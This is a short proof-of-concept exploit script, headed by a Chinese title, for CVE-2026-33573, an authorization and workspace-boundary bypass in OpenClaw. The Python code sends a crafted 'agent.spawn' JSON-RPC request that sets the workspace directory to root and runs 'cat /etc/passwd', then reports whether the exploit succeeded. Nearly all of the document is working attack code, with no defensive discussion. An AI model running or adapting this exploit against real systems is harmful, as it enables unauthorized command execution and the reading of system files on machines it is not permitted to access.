CVE-2026-33573 OpenClaw授权绕过漏洞

# PoC for CVE-2026-33573: OpenClaw Workspace Boundary Bypass # This script demonstrates how an authenticated operator can escape the workspace. import requests import json TARGET_URL = "http://vulnerable-openclaw-instance:8080/api/gateway/rpc" AUTH_TOKEN = "VALID_OPERATOR_TOKEN" # Requires authentication with operator.write # Malicious RPC payload to bypass workspace restriction payload = { "jsonrpc": "2.0", "method": "agent.spawn", "params": { "command": "cat /etc/passwd", # Arbitrary command execution # Vulnerability: Attacker-controlled parameters to override boundaries "spawnedBy": "attacker_controlled_process", "workspaceDir": "/" # Escaping to root directory }, "id": 1 } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit successful! Workspace boundary bypassed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")